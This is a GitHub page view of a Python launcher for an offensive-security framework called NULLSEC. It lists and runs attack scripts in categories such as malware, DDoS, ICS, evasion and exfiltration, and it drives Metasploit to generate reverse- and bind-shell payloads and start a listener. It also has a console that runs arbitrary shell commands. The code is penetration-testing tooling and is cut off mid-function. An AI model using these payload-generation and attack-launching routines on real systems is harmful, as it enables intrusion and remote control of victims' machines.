-
-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathnullsec-launcher.py
More file actions
1363 lines (1170 loc) Β· 69.4 KB
/
nullsec-launcher.py
File metadata and controls
1363 lines (1170 loc) Β· 69.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
NULLSEC FRAMEWORK (PRIVATE COPY) - Advanced Offensive Security Operations
=================================================================
Professional penetration testing and red team operations framework
Version: 2.0
GitHub: https://github.com/bad-antics/nullsec
Features:
- 185+ Attack modules with auto-discovery
- Metasploit Framework integration
- Shodan intelligence API
- AI-powered attack automation
- Interactive console interface
- Multi-category attack coverage
Author: bad-antics development
GitHub: github.com/bad-antics
License: For authorized security testing only
"""
__version__ = "2.0"
__author__ = "bad-antics"
import os
import sys
import time
import random
import subprocess
import shlex
import shutil
import json
from pathlib import Path
# Terminal colors
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
DIM = '\033[2m'
BOLD = '\033[1m'
RESET = '\033[0m'
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
ATTACK_DIR = os.path.join(SCRIPT_DIR, "nullsecurity")
COMMAND_HISTORY = []
def auto_discover_modules():
"""Automatically discover all attack modules in nullsecurity/ directory"""
discovered = []
module_id = 1
# Category detection from filename patterns
category_patterns = {
'Network': ['port-', 'network-', 'dns-', 'mitm-', 'arp-', 'wifi-', 'bluetooth-', 'sniffer', 'scan'],
'Web': ['web-', 'xss-', 'sqli-', 'sql-', 'lfi-', 'rfi-', 'ssrf-', 'csrf-', 'jwt-', 'oauth-', 'ssti-', 'xxe-', 'cors-', 'csp-'],
'Credentials': ['pass', 'hash', 'cred', 'brute', 'kerberos', 'ntlm', 'token-'],
'Malware': ['payload', 'trojan', 'ransomware', 'rootkit', 'backdoor', 'rat-', 'c2-', 'cryptominer'],
'Cloud': ['cloud-', 'aws-', 'azure-', 'gcp-', 's3-', 'kubernetes-', 'docker-', 'container-'],
'Active Directory': ['ad-', 'ldap-', 'kerberoast', 'golden-ticket', 'dcsync'],
'Database': ['database-', 'mysql-', 'postgres-', 'mssql-', 'oracle-', 'mongodb-', 'redis-', 'kafka-', 'neo4j-', 'couchdb-', 'memcached'],
'Mobile': ['mobile-', 'android-', 'ios-', 'apk-'],
'IoT': ['iot-', 'modbus-', 'zigbee-', 'mqtt-', 'upnp-', 'smart-', 'scada-', 'bacnet-'],
'Exploitation': ['exploit', 'kernel-', 'rop-', 'shellcode-', 'heap-', 'buffer-', 'overflow'],
'Evasion': ['bypass', 'amsi-', 'edr-', 'av-', 'sandbox-', 'anti-', 'deobfuscator'],
'Persistence': ['persistence', 'backdoor', 'startup', 'bootloader'],
'Exfiltration': ['exfil', 'tunnel', 'data-'],
'Recon': ['recon', 'enum', 'shodan', 'osint', 'whois', 'dir-brute'],
'Physical': ['badusb', 'camera-', 'alarm-', 'atm-', 'rfid-'],
'OPSEC': ['darkweb', 'crypto-', 'identity-', 'evidence-', 'stego'],
'DDoS': ['ddos', 'slowloris', 'amplify', 'flood'],
'ICS': ['scada', 'plc-', 'power-', 'water-', 'industrial'],
'Protocols': ['http', 'grpc-', 'websocket-', 'quic-', 'protobuf-', 'thrift-'],
'Enterprise': ['jenkins-', 'gitlab-', 'confluence-', 'jira-', 'sharepoint-', 'checkpoint-', 'citrix-'],
'Hardware': ['fortinet-', 'palo-alto-', 'cisco-', 'mikrotik-', 'router-'],
}
# Icon mapping based on category
category_icons = {
'Network': 'π', 'Web': 'πΈοΈ', 'Credentials': 'π', 'Malware': 'π¦ ',
'Cloud': 'βοΈ', 'Active Directory': 'π’', 'Database': 'ποΈ', 'Mobile': 'π±',
'IoT': 'π', 'Exploitation': 'π£', 'Evasion': 'π₯·', 'Persistence': 'π',
'Exfiltration': 'π€', 'Recon': 'π', 'Physical': 'πΎ', 'OPSEC': 'π§
',
'DDoS': 'π₯', 'ICS': 'π', 'Protocols': 'π‘', 'Enterprise': 'π’', 'Hardware': 'π§',
'Wireless': 'π‘', 'Social': 'π',
}
try:
if not os.path.exists(ATTACK_DIR):
return discovered
# Get all .sh files
scripts = [f for f in os.listdir(ATTACK_DIR) if f.endswith('.sh')]
scripts.sort()
for script in scripts:
# Determine category
category = 'Advanced'
for cat, patterns in category_patterns.items():
if any(pattern in script.lower() for pattern in patterns):
category = cat
break
# Get icon
icon = category_icons.get(category, 'β‘')
# Create nice name from filename
name = script.replace('.sh', '').replace('-', ' ').title()
# Create description
desc = f"{category} attack module"
discovered.append({
'id': module_id,
'name': name,
'icon': icon,
'script': script,
'desc': desc,
'category': category
})
module_id += 1
except Exception as e:
print(f"{Colors.RED}[!] Error discovering modules: {e}{Colors.RESET}")
return discovered
# Auto-discover all modules on startup
MODULES = auto_discover_modules()
def clear_screen():
"""Clear terminal screen"""
os.system('clear' if os.name == 'posix' else 'cls')
def print_banner():
"""Display NULLSEC framework banner"""
banner = f"""{Colors.RED}
ββββ β β ββ βββ βββ ββββββ ββββββ ββββββ
ββ ββ β ββ ββββββββ ββββ βββ β ββ β ββββ ββ
βββ ββ ββββββ ββββββββ ββββ β ββββ ββββ βββ β
ββββ ββββββββ ββββββββ ββββ β ββββββ β ββββ ββββ
ββββ ββββββββββββ βββββββββββββββββββββββββββββββββ βββββ β
{Colors.CYAN}
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β OFFENSIVE SECURITY OPERATIONS FRAMEWORK (PRIVATE COPY) β
Advanced Attack Simulations & Red Team Operations
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
{Colors.YELLOW}System:{Colors.WHITE} nullsec-framework (PRIVATE COPY){Colors.CYAN}
{Colors.GREEN}π₯ {len(MODULES)} Attack Modules {Colors.DIM}| {Colors.RED}β‘ MSF Integration {Colors.DIM}| {Colors.BLUE}π Shodan API{Colors.CYAN}
{Colors.DIM}Developed by {Colors.MAGENTA}bad-antics{Colors.DIM} | github.com/bad-antics{Colors.CYAN}
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
"""
print(banner)
# Animated loading effect
import sys
sys.stdout.write(f"{Colors.CYAN} [")
for i in range(50):
time.sleep(0.01)
sys.stdout.write("β")
sys.stdout.flush()
sys.stdout.write(f"] {Colors.GREEN}SYSTEM READY{Colors.RESET}\n\n")
sys.stdout.flush()
def print_menu(page=0, page_size=15):
"""Display module menu with pagination"""
start = page * page_size
end = min(start + page_size, len(MODULES))
total_pages = (len(MODULES) + page_size - 1) // page_size
print(f"\n{Colors.CYAN} βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}")
print(f"{Colors.CYAN} # MODULE CATEGORY DESCRIPTION{Colors.RESET}")
print(f"{Colors.CYAN} βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}")
for mod in MODULES[start:end]:
num = f"{mod['id']:2d}"
name = f"{mod['icon']} {mod['name']}"[:30].ljust(30)
cat = mod['category'][:14].ljust(14)
desc = mod['desc'][:22]
color = Colors.RED if mod['category'] in ['Advanced', 'Malware', 'DDoS', 'ICS'] else \
Colors.YELLOW if mod['category'] in ['Wireless', 'Physical'] else \
Colors.CYAN if mod['category'] in ['Network', 'Web', 'Infrastructure'] else \
Colors.GREEN if mod['category'] in ['Social', 'OPSEC'] else \
Colors.MAGENTA if mod['category'] == 'Credentials' else Colors.WHITE
print(f" {Colors.RED}[{num}]{Colors.RESET} {color}{name}{Colors.RESET} {Colors.DIM}{cat}{Colors.RESET} {desc}...")
print(f"{Colors.CYAN} βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}")
print(f"{Colors.DIM} Page {page + 1}/{total_pages} ({len(MODULES)} modules){Colors.RESET}")
print(f"""
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
COMMAND CENTER
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
{Colors.YELLOW}[N]{Colors.RESET} Next Page {Colors.YELLOW}[P]{Colors.RESET} Prev Page {Colors.YELLOW}[A]{Colors.RESET} Run ALL {Colors.YELLOW}[R]{Colors.RESET} Random
{Colors.YELLOW}[C]{Colors.RESET} Categories {Colors.YELLOW}[S]{Colors.RESET} Search {Colors.YELLOW}[M]{Colors.RESET} Metasploit {Colors.YELLOW}[H]{Colors.RESET} Shodan
{Colors.YELLOW}[D]{Colors.RESET} Module List {Colors.YELLOW}[E]{Colors.RESET} Exec Console {Colors.YELLOW}[F]{Colors.RESET} Framework {Colors.YELLOW}[T]{Colors.RESET} Tools
{Colors.YELLOW}[I]{Colors.RESET} AI Console {Colors.YELLOW}[X]{Colors.RESET} Credits {Colors.YELLOW}[Q]{Colors.RESET} Quit {Colors.YELLOW}[1-{len(MODULES)}]{Colors.RESET} Run Module
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
""")
def check_command_exists(command):
"""Check if a command exists in PATH"""
return shutil.which(command) is not None
def run_module(mod, external=False):
"""Execute an attack module with enhanced interactive framework"""
script_path = os.path.join(ATTACK_DIR, mod['script'])
if not os.path.exists(script_path):
print(f"{Colors.RED}[!] Module not found: {script_path}{Colors.RESET}")
time.sleep(2)
return
# Check if module has enhanced config
config_path = script_path.replace('.sh', '.json')
use_enhanced = os.path.exists(config_path)
if use_enhanced:
# Use enhanced interactive framework
framework_script = os.path.join(SCRIPT_DIR, 'module-framework.py')
if os.path.exists(framework_script):
COMMAND_HISTORY.append(script_path)
subprocess.run(['python3', framework_script, script_path, config_path])
return
# Fallback to standard execution
clear_screen()
print(f"""
{Colors.RED}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
LAUNCHING ATTACK MODULE
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
{Colors.CYAN}Module:{Colors.RESET} {mod['icon']} {mod['name']}
{Colors.CYAN}Category:{Colors.RESET} {mod['category']}
{Colors.CYAN}Description:{Colors.RESET} {mod['desc']}
{Colors.CYAN}Script:{Colors.RESET} {mod['script']}
{Colors.RED}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
""")
print(f"{Colors.YELLOW}[*] Executing module...{Colors.RESET}\n")
time.sleep(0.5)
if external:
# Launch in external terminal
terminals = ['gnome-terminal', 'xterm', 'konsole', 'xfce4-terminal']
for term in terminals:
if check_command_exists(term):
if term == 'gnome-terminal':
subprocess.Popen([term, '--', 'bash', script_path])
else:
subprocess.Popen([term, '-e', f'bash {script_path}'])
print(f"{Colors.GREEN}[+] Launched in external terminal{Colors.RESET}")
time.sleep(1)
return
# Run in current terminal
COMMAND_HISTORY.append(script_path)
subprocess.run(['bash', script_path])
print(f"\n{Colors.GREEN}[β] Module execution complete{Colors.RESET}")
print(f"{Colors.YELLOW}[*] Press ENTER to continue...{Colors.RESET}")
input()
def category_filter():
"""Filter modules by category"""
categories = sorted(list(set(mod['category'] for mod in MODULES)))
clear_screen()
print_banner()
print(f"\n{Colors.CYAN} SELECT CATEGORY:{Colors.RESET}\n")
for i, cat in enumerate(categories, 1):
count = sum(1 for m in MODULES if m['category'] == cat)
print(f" {Colors.RED}[{i:2d}]{Colors.RESET} {cat} ({count} modules)")
print(f"\n {Colors.GREEN}[B]{Colors.RESET} Back to main menu")
choice = input(f"\n{Colors.WHITE} Enter choice: {Colors.RESET}").strip().lower()
if choice == 'b':
return
try:
idx = int(choice) - 1
if 0 <= idx < len(categories):
selected_cat = categories[idx]
filtered = [m for m in MODULES if m['category'] == selected_cat]
clear_screen()
print_banner()
print(f"\n{Colors.CYAN} {selected_cat.upper()} MODULES:{Colors.RESET}\n")
for mod in filtered:
print(f" {Colors.RED}[{mod['id']:2d}]{Colors.RESET} {mod['icon']} {mod['name']}")
print(f"\n {Colors.GREEN}[B]{Colors.RESET} Back")
sub_choice = input(f"\n{Colors.WHITE} Enter module number: {Colors.RESET}").strip().lower()
if sub_choice != 'b':
try:
mod_id = int(sub_choice)
mod = next((m for m in MODULES if m['id'] == mod_id), None)
if mod:
run_module(mod)
except ValueError:
pass
except ValueError:
pass
def search_modules():
"""Search for modules by keyword"""
clear_screen()
print_banner()
query = input(f"\n{Colors.WHITE} Search modules: {Colors.RESET}").strip().lower()
if not query:
return
results = [m for m in MODULES if query in m['name'].lower() or query in m['desc'].lower() or query in m['category'].lower()]
if not results:
print(f"\n{Colors.RED} No modules found matching '{query}'{Colors.RESET}")
time.sleep(1.5)
return
print(f"\n{Colors.GREEN} Found {len(results)} modules:{Colors.RESET}\n")
for mod in results:
print(f" {Colors.RED}[{mod['id']:2d}]{Colors.RESET} {mod['icon']} {mod['name']} - {mod['desc']}")
print(f"\n {Colors.GREEN}[B]{Colors.RESET} Back")
choice = input(f"\n{Colors.WHITE} Enter module number: {Colors.RESET}").strip().lower()
if choice != 'b':
try:
mod_id = int(choice)
mod = next((m for m in MODULES if m['id'] == mod_id), None)
if mod:
run_module(mod)
except ValueError:
pass
def run_all_modules():
"""Execute all modules sequentially"""
print(f"\n{Colors.RED}[!] Executing ALL {len(MODULES)} attack modules...{Colors.RESET}")
time.sleep(1)
for mod in MODULES:
run_module(mod)
def run_random_module():
"""Execute a random module"""
mod = random.choice(MODULES)
print(f"\n{Colors.YELLOW}[*] Random target: {mod['icon']} {mod['name']}{Colors.RESET}")
time.sleep(0.5)
run_module(mod)
def msf_integration():
"""Metasploit Framework integration menu"""
clear_screen()
print_banner()
print(f"""
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
METASPLOIT FRAMEWORK INTEGRATION
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
{Colors.RED}[1]{Colors.RESET} Launch Metasploit Console (msfconsole)
{Colors.RED}[2]{Colors.RESET} Launch MSF Venom Payload Generator
{Colors.RED}[3]{Colors.RESET} Search MSF Exploits
{Colors.RED}[4]{Colors.RESET} Search MSF Auxiliary Modules
{Colors.RED}[5]{Colors.RESET} Generate Reverse Shell (msfvenom)
{Colors.RED}[6]{Colors.RESET} Generate Bind Shell (msfvenom)
{Colors.RED}[7]{Colors.RESET} Multi Handler Setup
{Colors.RED}[8]{Colors.RESET} Resource Script Generator
{Colors.GREEN}[B]{Colors.RESET} Back to main menu
{Colors.MAGENTA}ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
""")
choice = input(f"{Colors.WHITE} Enter choice: {Colors.RESET}").strip()
if choice == 'b' or choice == 'B':
return
elif choice == '1':
print(f"\n{Colors.GREEN}[*] Launching Metasploit Console...{Colors.RESET}")
subprocess.run(['msfconsole'])
elif choice == '2':
print(f"\n{Colors.GREEN}[*] MSFVenom Payload Generator{Colors.RESET}")
print(f"{Colors.CYAN}Example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o payload.exe{Colors.RESET}")
subprocess.run(['bash'])
elif choice == '3':
query = input(f"\n{Colors.WHITE} Search exploits for: {Colors.RESET}")
subprocess.run(['msfconsole', '-q', '-x', f'search {query}; exit'])
input(f"\n{Colors.YELLOW}Press ENTER to continue...{Colors.RESET}")
elif choice == '4':
query = input(f"\n{Colors.WHITE} Search auxiliary for: {Colors.RESET}")
subprocess.run(['msfconsole', '-q', '-x', f'search type:auxiliary {query}; exit'])
input(f"\n{Colors.YELLOW}Press ENTER to continue...{Colors.RESET}")
elif choice == '5':
print(f"\n{Colors.CYAN}Generating Reverse Shell...{Colors.RESET}")
lhost = input(f"{Colors.WHITE} LHOST (Your IP): {Colors.RESET}")
lport = input(f"{Colors.WHITE} LPORT: {Colors.RESET}") or "4444"
platform = input(f"{Colors.WHITE} Platform (windows/linux/osx): {Colors.RESET}") or "windows"
output = input(f"{Colors.WHITE} Output file: {Colors.RESET}") or "payload.exe"
cmd = f"msfvenom -p {platform}/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f exe -o {output}"
print(f"\n{Colors.GREEN}[*] Running: {cmd}{Colors.RESET}")
subprocess.run(cmd, shell=True)
input(f"\n{Colors.YELLOW}Press ENTER to continue...{Colors.RESET}")
elif choice == '6':
print(f"\n{Colors.CYAN}Generating Bind Shell...{Colors.RESET}")
lport = input(f"{Colors.WHITE} LPORT: {Colors.RESET}") or "4444"
platform = input(f"{Colors.WHITE} Platform (windows/linux/osx): {Colors.RESET}") or "windows"
output = input(f"{Colors.WHITE} Output file: {Colors.RESET}") or "bind_payload.exe"
cmd = f"msfvenom -p {platform}/meterpreter/bind_tcp LPORT={lport} -f exe -o {output}"
print(f"\n{Colors.GREEN}[*] Running: {cmd}{Colors.RESET}")
subprocess.run(cmd, shell=True)
input(f"\n{Colors.YELLOW}Press ENTER to continue...{Colors.RESET}")
elif choice == '7':
print(f"\n{Colors.CYAN}Multi Handler Setup{Colors.RESET}")
lhost = input(f"{Colors.WHITE} LHOST: {Colors.RESET}")
lport = input(f"{Colors.WHITE} LPORT: {Colors.RESET}") or "4444"
payload = input(f"{Colors.WHITE} Payload: {Colors.RESET}") or "windows/meterpreter/reverse_tcp"
cmd = f"msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD {payload}; set LHOST {lhost}; set LPORT {lport}; exploit'"
subprocess.run(cmd, shell=True)
elif choice == '8':
print(f"\n{Colors.CYAN}Resource Script Generator{Colors.RESET}")
script_content = """use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
exploit -j -z
"""
with open("/tmp/nullsec_handler.rc", "w") as f:
f.write(script_content)
print(f"{Colors.GREEN}[+] Created: /tmp/nullsec_handler.rc{Colors.RESET}")
print(f"{Colors.CYAN}Run with: msfconsole -r /tmp/nullsec_handler.rc{Colors.RESET}")
input(f"\n{Colors.YELLOW}Press ENTER to continue...{Colors.RESET}")
def shodan_search():
"""Launch Shodan search interface"""
script_path = os.path.join(ATTACK_DIR, 'shodan-search.sh')
if os.path.exists(script_path):
subprocess.run(['bash', script_path])
else:
print(f"{Colors.RED}[!] Shodan module not found{Colors.RESET}")
print(f"\n{Colors.YELLOW}[*] Press ENTER to continue...{Colors.RESET}")
input()
def command_console():
"""Interactive command execution console"""
clear_screen()
print(f"""
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
NULLSEC COMMAND CONSOLE
Execute Any Script or Application
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
{Colors.YELLOW}Features:{Colors.RESET}
β’ Execute any shell command
β’ Run external scripts (.sh, .py, .pl, .rb, .js)
β’ Automatic dependency checking
β’ Command history tracking
{Colors.YELLOW}Commands:{Colors.RESET}
{Colors.GREEN}exec <command>{Colors.RESET} - Execute shell command
{Colors.GREEN}run <script>{Colors.RESET} - Run external script
{Colors.GREEN}shodan{Colors.RESET} - Launch Shodan intelligence browser
{Colors.GREEN}history{Colors.RESET} - Show command history
{Colors.GREEN}clear{Colors.RESET} - Clear screen
{Colors.GREEN}exit{Colors.RESET} - Return to main menu
{Colors.DIM}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
""")
while True:
try:
cmd = input(f"{Colors.RED}nullsec{Colors.DIM}@{Colors.CYAN}exec{Colors.RESET} > ").strip()
if not cmd:
continue
if cmd == 'exit':
break
elif cmd == 'clear':
clear_screen()
elif cmd == 'shodan':
shodan_search()
elif cmd == 'history':
if COMMAND_HISTORY:
print(f"\n{Colors.CYAN}Command History:{Colors.RESET}")
for i, h_cmd in enumerate(COMMAND_HISTORY[-20:], 1):
print(f" {Colors.DIM}{i}.{Colors.RESET} {h_cmd}")
else:
print(f"{Colors.YELLOW}[*] No command history{Colors.RESET}")
elif cmd.startswith('exec '):
command = cmd[5:]
COMMAND_HISTORY.append(command)
subprocess.run(command, shell=True)
elif cmd.startswith('run '):
script_path = cmd[4:].strip()
if os.path.exists(script_path):
COMMAND_HISTORY.append(script_path)
subprocess.run(['bash', script_path])
else:
print(f"{Colors.RED}[!] Script not found: {script_path}{Colors.RESET}")
else:
COMMAND_HISTORY.append(cmd)
subprocess.run(cmd, shell=True)
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}[*] Use 'exit' to quit{Colors.RESET}")
except Exception as e:
print(f"{Colors.RED}[!] Error: {e}{Colors.RESET}")
def launch_ai_console():
"""Launch NULLSEC AI assistant"""
ai_script = os.path.join(SCRIPT_DIR, 'nullsec-ai.py')
if os.path.exists(ai_script):
subprocess.run(['python3', ai_script])
else:
print(f"{Colors.RED}[!] AI module not found{Colors.RESET}")
time.sleep(2)
def detailed_module_browser():
"""Detailed module browser with full descriptions and launch options"""
while True:
clear_screen()
print(f"""
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
NULLSEC MODULE BROWSER v3.0
Individual Module Selection with Full Descriptions
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
{Colors.YELLOW}Browse By:{Colors.RESET}
{Colors.RED}[1]{Colors.RESET} View All Modules (Full List)
{Colors.RED}[2]{Colors.RESET} Browse by Category
{Colors.RED}[3]{Colors.RESET} Search by Name/Description
{Colors.RED}[4]{Colors.RESET} Recently Used Modules
{Colors.RED}[5]{Colors.RESET} Enhanced Modules (with JSON configs)
{Colors.YELLOW}Launch Options:{Colors.RESET}
{Colors.RED}[6]{Colors.RESET} Desktop GUI Launcher
{Colors.RED}[7]{Colors.RESET} CLI Framework (Enhanced)
{Colors.RED}[8]{Colors.RESET} Direct Execution (Standard)
{Colors.YELLOW}Quick Access:{Colors.RESET}
{Colors.RED}[9]{Colors.RESET} Network Modules
{Colors.RED}[10]{Colors.RESET} Web Exploitation
{Colors.RED}[11]{Colors.RESET} Credential Attacks
{Colors.RED}[12]{Colors.RESET} Active Directory
{Colors.RED}[13]{Colors.RESET} Cloud & Container
{Colors.RED}[14]{Colors.RESET} IoT & ICS/SCADA
{Colors.GREEN}[B]{Colors.RESET} Back to Main Menu
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
""")
choice = input(f"{Colors.WHITE} Enter choice: {Colors.RESET}").strip().lower()
if choice == 'b':
break
elif choice == '1':
view_all_modules_detailed()
elif choice == '2':
browse_by_category_detailed()
elif choice == '3':
search_modules_detailed()
elif choice == '4':
show_recent_modules()
elif choice == '5':
show_enhanced_modules()
elif choice == '6':
launch_desktop_gui()
elif choice == '7':
launch_cli_framework()
elif choice == '8':
print(f"\n{Colors.CYAN}[*] Direct execution uses standard bash execution without framework{Colors.RESET}")
input(f"{Colors.YELLOW}Press ENTER to continue...{Colors.RESET}")
elif choice == '9':
browse_category_modules('Network')
elif choice == '10':
browse_category_modules('Web')
elif choice == '11':
browse_category_modules('Credentials')
elif choice == '12':
browse_category_modules('Active Directory')
elif choice == '13':
browse_category_modules('Cloud')
elif choice == '14':
browse_category_modules('IoT')
else:
print(f"{Colors.RED}[!] Invalid option{Colors.RESET}")
time.sleep(1)
def view_all_modules_detailed():
"""Display all modules with full descriptions"""
page = 0
page_size = 10
total_pages = (len(MODULES) + page_size - 1) // page_size
while True:
clear_screen()
start = page * page_size
end = min(start + page_size, len(MODULES))
print(f"""
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ALL MODULES - DETAILED VIEW
Page {page + 1}/{total_pages}
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
""")
for i, mod in enumerate(MODULES[start:end], start + 1):
config_exists = os.path.exists(os.path.join(ATTACK_DIR, mod['script'].replace('.sh', '.json')))
enhanced = f"{Colors.GREEN}[Enhanced]{Colors.RESET}" if config_exists else f"{Colors.DIM}[Standard]{Colors.RESET}"
print(f"""
{Colors.RED}[{mod['id']}]{Colors.RESET} {mod['icon']} {Colors.BOLD}{mod['name']}{Colors.RESET} {enhanced}
{Colors.CYAN}Category:{Colors.RESET} {mod['category']}
{Colors.CYAN}Description:{Colors.RESET} {mod['desc']}
{Colors.CYAN}Script:{Colors.RESET} {mod['script']}
{Colors.DIM}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}""")
print(f"""
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
{Colors.YELLOW}[N]{Colors.RESET} Next Page {Colors.YELLOW}[P]{Colors.RESET} Previous {Colors.YELLOW}[1-{len(MODULES)}]{Colors.RESET} Launch Module {Colors.YELLOW}[B]{Colors.RESET} Back
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
""")
choice = input(f"{Colors.WHITE} Enter choice: {Colors.RESET}").strip().lower()
if choice == 'b':
break
elif choice == 'n':
page = (page + 1) % total_pages
elif choice == 'p':
page = (page - 1) % total_pages
else:
try:
mod_id = int(choice)
mod = next((m for m in MODULES if m['id'] == mod_id), None)
if mod:
launch_module_with_options(mod)
except ValueError:
pass
def browse_by_category_detailed():
"""Browse modules organized by category"""
# Group modules by category
categories = {}
for mod in MODULES:
cat = mod['category']
if cat not in categories:
categories[cat] = []
categories[cat].append(mod)
while True:
clear_screen()
print(f"""
{Colors.CYAN}βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
BROWSE BY CATEGORY
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Colors.RESET}
""")
sorted_cats = sorted(categories.keys())
